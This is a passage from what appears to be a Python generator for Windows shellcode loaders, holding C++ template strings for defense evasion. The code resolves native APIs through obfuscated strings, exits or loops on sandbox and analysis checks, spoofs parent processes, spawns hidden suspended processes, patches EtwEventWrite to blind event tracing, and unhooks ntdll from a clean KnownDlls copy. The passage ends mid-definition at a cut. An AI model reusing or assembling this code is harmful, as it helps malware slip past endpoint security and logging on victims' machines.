using myNtQueueApcThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3);
using myNtAlertResumeThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
using myNtGetContextThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PCONTEXT ThreadContext);
using myNtSetContextThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PCONTEXT Context);
using myNtDelayExecution = NTSTATUS(NTAPI*)(BOOLEAN Alertable, PLARGE_INTEGER DelayInterval);
using myNtOpenSection = NTSTATUS(NTAPI*)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myNtFreeVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
// Get API functions required to unhook.
char Nt[] = { 'n','t','d','l','l','.','d','l','l', 0 };
char NtMapVOS[] = { 'N','t','M','a','p','V','i','e','w','O','f','S','e','c','t','i','o','n', 0 };
char NtOpenSec[] = { 'N','t','O','p','e','n','S','e','c','t','i','o','n', 0 };
myNtMapViewOfSection NtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA(Nt), NtMapVOS));
myNtOpenSection NtOpenSection = (myNtOpenSection)(GetProcAddress(GetModuleHandleA(Nt), NtOpenSec));
// Init vars for other API functions, will define after we have a chance to unhook ntdll
myNtAllocateVirtualMemory NtAllocateVirtualMemory;
myNtWriteVirtualMemory NtWriteVirtualMemory;
myNtProtectVirtualMemory NtProtectVirtualMemory;
myNtCreateThreadEx NtCreateThreadEx;
myNtResumeThread NtResumeThread;
myNtWaitForSingleObject NewNtWaitForSingleObject;
myNtQueryInformationProcess NewNtQueryInformationProcess;
myNtReadVirtualMemory NtReadVirtualMemory;
myNtClose NewNtClose;
myNtOpenProcess NtOpenProcess;
myNtQueueApcThread NtQueueApcThread;
myNtAlertResumeThread NtAlertResumeThread;
myNtGetContextThread NtGetContextThread;
myNtSetContextThread NtSetContextThread;
myNtDelayExecution NtDelayExecution;
myNtFreeVirtualMemory NtFreeVirtualMemory;
"""
NoSyscall_StubP2 = """
// Get API functions. These will have hooks in them unless unhooking is perfomed first.
String scall = std::string("N") + "t" + "A" + "l" + "l" + "o" + "c" + "a" + "t" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtAllocateVirtualMemory = (myNtAllocateVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "W" + "r" + "i" + "t" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtWriteVirtualMemory = (myNtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "P" + "r" + "o" + "t" + "e" + "c" + "t" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtProtectVirtualMemory = (myNtProtectVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "C" + "r" + "e" + "a" + "t" + "e" + "T" + "h" + "r" + "e" + "a" + "d" + "E" + "x";
NtCreateThreadEx = (myNtCreateThreadEx)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "R" + "e" + "s" + "u" + "m" + "e" + "T" + "h" + "r" + "e" + "a" + "d";
NtResumeThread = (myNtResumeThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "W" + "a" + "i" + "t" + "F" + "o" + "r" + "S" + "i" + "n" + "g" + "l" + "e" + "O" + "b" + "j" + "e" + "c" + "t";
NewNtWaitForSingleObject = (myNtWaitForSingleObject)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "Q" + "u" + "e" + "r" + "y" + "I" + "n" + "f" + "o" + "r" + "m" + "a" + "t" + "i" + "o" + "n" + "P" + "r" + "o" + "c" + "e" + "s" + "s";
NewNtQueryInformationProcess = (myNtQueryInformationProcess)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "R" + "e" + "a" + "d" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtReadVirtualMemory = (myNtReadVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "C" + "l" + "o" + "s" + "e";
NewNtClose = (myNtClose)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "O" + "p" + "e" + "n" + "P" + "r" + "o" + "c" + "e" + "s" + "s";
NtOpenProcess = (myNtOpenProcess)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "Q" + "u" + "e" + "u" + "e" + "A" + "p" + "c" + "T" + "h" + "r" + "e" + "a" + "d";
NtQueueApcThread = (myNtQueueApcThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "A" + "l" + "e" + "r" + "t" + "R" + "e" + "s" + "u" + "m" + "e" + "T" + "h" + "r" + "e" + "a" + "d";
NtAlertResumeThread = (myNtAlertResumeThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "G" + "e" + "t" + "C" + "o" + "n" + "t" + "e" + "x" + "t" + "T" + "h" + "r" + "e" + "a" + "d";
NtGetContextThread = (myNtGetContextThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "S" + "e" + "t" + "C" + "o" + "n" + "t" + "e" + "x" + "t" + "T" + "h" + "r" + "e" + "a" + "d";
NtSetContextThread = (myNtSetContextThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "D" + "e" + "l" + "a" + "y" + "E" + "x" + "e" + "c" + "u" + "t" + "i" + "o" + "n";
NtDelayExecution = (myNtDelayExecution)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "F" + "r" + "e" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtFreeVirtualMemory = (myNtFreeVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
"""
sleep_check = """
VOID SleepCheck() {
ULONG64 timeBeforeSleep = GetTickCount64();
for (;;) {
int flag = 0;
for (int n = 1; n < 5555; n++) {
if (n == 0 || n == 1)
flag = 1;
for (int i = 2; i <= n / 2; ++i) {
if (n % i == 0) {
flag = 1;
break;
}
}
}
ULONG64 timeAfterSleep = GetTickCount64();
if (timeAfterSleep - timeBeforeSleep > 10000) {
break;
}
}
}
"""
hostname_sanbox_check = """
int hostcheck()
{
char hostname[64];
DWORD hostnamesize = 64;
GetComputerNameA(hostname, &hostnamesize);
if (strcmp(hostname, skCrypt("REPLACE_ME_HOSTNAME")) != 0) {
exit (EXIT_FAILURE);
}
return 0;
}
"""
username_sanbox_check = """
int usercheck()
{
char username[4000];
DWORD usernameamesize = 4000;
GetUserName(username, &usernameamesize);
if (strcmp(username, skCrypt("REPLACE_ME_USERNAME")) != 0) {
exit (EXIT_FAILURE);
}
return 0;
}
"""
domain_sanbox_check = """
int domaincheck()
{
char domain[164];
DWORD domainsize = 164;
GetComputerNameEx(ComputerNameDnsDomain, domain, &domainsize);
if (strcmp(domain, skCrypt("REPLACE_ME_DOMAINNAME")) != 0) {
exit (EXIT_FAILURE);
}
return 0;
}
"""
dll_sandbox_check = """
int PrintModules(DWORD processID)
{
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;
unsigned int i;
OBJECT_ATTRIBUTES oa;
CLIENT_ID cid;
cid.UniqueProcess = (HANDLE)processID;
// Print the process identifier.
//printf("\\nProcess ID: %u\\n", processID);
// Get a handle to the process.
NtOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &oa, &cid);
if (NULL == hProcess)
return 1;
// Get a list of all the modules in this process.
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
{
TCHAR szModName[MAX_PATH];
// Get the full path to the module's file.
if (GetModuleFileNameEx(hProcess, hMods[i], szModName,
sizeof(szModName) / sizeof(TCHAR)))
{
//std::string target = L"Dbghelp.dll";
String dang = szModName;
//CHECK TO SEE IF THESE DLLS ARE LOADED. IF NOT, THEN RETURN 2 TO CONTINUE FOR LOOP
if (dang.find("SbieDll.dll") != std::string::npos || dang.find("Api_log.dll") != std::string::npos || dang.find("Dir_watch.dll") != std::string::npos || dang.find("dbghelp.dll") != std::string::npos)
{
// Print the module name and handle value.
//_tprintf(TEXT("\\t%s (0x%08X)\\n"), szModName, hMods[i]);
return 2;
}
}
}
}
// Release the handle to the process.
NewNtClose(hProcess);
return 0;
}
int getLoadedDlls()
{
DWORD aProcesses[1024];
DWORD cbNeeded;
DWORD cProcesses;
unsigned int i;
// Get the list of process identifiers.
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
return 1;
// Calculate how many process identifiers were returned.
cProcesses = cbNeeded / sizeof(DWORD);
// Print the names of the modules for each process.
int result;
int done = 0;
DWORD saved;
//Loop for dlls. Loop will continue until dlls are found to bypass sandboxing.
while (done != 2)
{
for (i = 0; i < cProcesses; i++)
{
result = PrintModules(aProcesses[i]);
if (result == 2)
{
done = result;
saved = aProcesses[i];
}
}
}
return 0;
}
"""
# Thanks to @Snovvcrash for helping improve PPID spoofing
ppid_priv_check = """
if (GetProcElevation(entry.th32ProcessID))
{
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(entry.th32ProcessID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cID);
if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE)
{
NewNtClose(snapshot);
return hProcess;
}
else
{
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
}
"""
ppid_unpriv_check = """
DWORD sessionID;
ProcessIdToSessionId(GetCurrentProcessId(), &sessionID);
if (sessionID == GetProcSessionID(entry.th32ProcessID))
{
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(entry.th32ProcessID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cID);
if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE)
{
NewNtClose(snapshot);
return hProcess;
}
else
{
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
}
"""
get_proc_session_ID = """
DWORD GetProcSessionID(DWORD procID)
{
HANDLE hProcess = NULL;
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(procID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cID);
HANDLE hToken;
if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_QUERY_SOURCE, &hToken))
{
DWORD dwTokLen = GetTokenInfoLength(hToken, TokenSessionId);
LPDWORD lpSessionId = (LPDWORD)VirtualAlloc(nullptr, dwTokLen, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
DWORD dwRetLen;
if (GetTokenInformation(hToken, TokenSessionId, lpSessionId, dwTokLen, &dwRetLen))
return *lpSessionId;
}
return 0;
}
"""
get_proc_elevation = """
DWORD GetProcElevation(DWORD procID)
{
HANDLE hProcess = NULL;
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(procID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cID);
HANDLE hToken;
if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_QUERY_SOURCE, &hToken))
{
DWORD dwTokLen = GetTokenInfoLength(hToken, TokenElevation);
DWORD dwRetLen;
TOKEN_ELEVATION_TYPE elevType;
if (GetTokenInformation(hToken, TokenElevation, &elevType, dwTokLen, &dwRetLen)) {
return elevType;
}
}
return 0;
}
"""
process_functions = """
DWORD GetTokenInfoLength(HANDLE hToken, TOKEN_INFORMATION_CLASS tokClass)
{
DWORD dwRetLength = 0x0;
GetTokenInformation(hToken, tokClass, NULL, 0x0, &dwRetLength);
return dwRetLength;
}
REPLACE_GET_PROC_TOKEN_FUNCTION
HANDLE GetParentHandle(LPCSTR parent)
{
HANDLE hProcess = NULL;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (stricmp(entry.szExeFile, parent) == 0)
{
REPLACE_PPID_PRIV_CHECK
}
}
}
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
PROCESS_INFORMATION SpawnProc(LPSTR process, HANDLE hParent) {
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 2, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &attributeSize);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
REPLACE_PPID_SPOOF
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT | STARTF_USESHOWWINDOW;
si.StartupInfo.wShowWindow = SW_HIDE;
if (!CreateProcessA(NULL, process, NULL, NULL, TRUE, CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
}
DeleteProcThreadAttributeList(si.lpAttributeList);
return pi;
}
"""
get_parent_handle_stub_only = """
HANDLE GetParentHandle(LPCSTR parent)
{
HANDLE hProcess = NULL;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (stricmp(entry.szExeFile, parent) == 0)
{
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(entry.th32ProcessID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cID);
if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE)
{
NewNtClose(snapshot);
return hProcess;
}
else
{
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
}
}
}
NewNtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
"""
# Thanks to TheD1rkMtr for this code: https://github.com/TheD1rkMtr/ntdlll-unhooking-collection
unhook_ntdll = """
//START UNHOOKING CODE
BOOL DisableETW(void) {
DWORD oldprotect = 0;
char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
char sntdll[] = { 'n','t','d','l','l', 0 };
// xor rax, rax;
// ret
char patch[] = { 0x48, 0x33, static_cast<char> (0xc0), static_cast<char> (0xc3) };
void* addr = (PVOID)GetProcAddress(GetModuleHandleA(sntdll), sEtwEventWrite);
if (!addr) {
safe_print(skCrypt("Failed to get EtwEventWrite Addr (%u)\\n"), GetLastError());
return FALSE;
}
BOOL status1 = VirtualProtect(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!status1) {
safe_print(skCrypt("Failed in changing protection (%u)\\n"), GetLastError());
return FALSE;
}
memcpy(addr, patch, sizeof(patch));
BOOL status2 = VirtualProtect(addr, 4096, oldprotect, &oldprotect);
if (!status2) {
safe_print(skCrypt("Failed in changing protection back (%u)\\n"), GetLastError());
return FALSE;
}
return TRUE;
}
LPVOID MapNtdll() {
UNICODE_STRING DestinationString;
const wchar_t SourceString[] = { '\\\\','K','n','o','w','n','D','l','l','s','\\\\','n','t','d','l','l','.','d','l','l', 0 };
RtlInitUnicodeString(&DestinationString, SourceString);
OBJECT_ATTRIBUTES ObAt;
InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL );
HANDLE hSection;
NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt);
if (!NT_SUCCESS(status1)) {
safe_print(skCrypt("[!] Failed in NtOpenSection (%u)\\n"), GetLastError());
return NULL;
}
PVOID pntdll = NULL;
ULONG_PTR ViewSize = NULL;
PVOID JUNKVAR = NULL;
NTSTATUS status2 = NtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(status2)) {
safe_print(skCrypt("[!] Failed in NtMapViewOfSection (%u)\\n"), GetLastError());
return NULL;
}
return pntdll;
}
BOOL Unhook(LPVOID module) {
HANDLE hntdll = GetModuleHandleA(Nt);
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew);
if (!NTheader) {
safe_print(skCrypt(" [-] Not a PE file\\n"));
return FALSE;
}
PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
DWORD oldprotect = 0;
for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
char txt[] = { '.','t','e','x','t', 0 };
if (!strcmp((char*)sectionHdr->Name, txt)) {
BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!status1) {
return FALSE;
}
memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);
BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
if (!status2) {
return FALSE;
}
}
return TRUE;
}
}
//end unhooking code
"""
threadless_definitions = """
//START THREADLESS DEFINITIONS
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;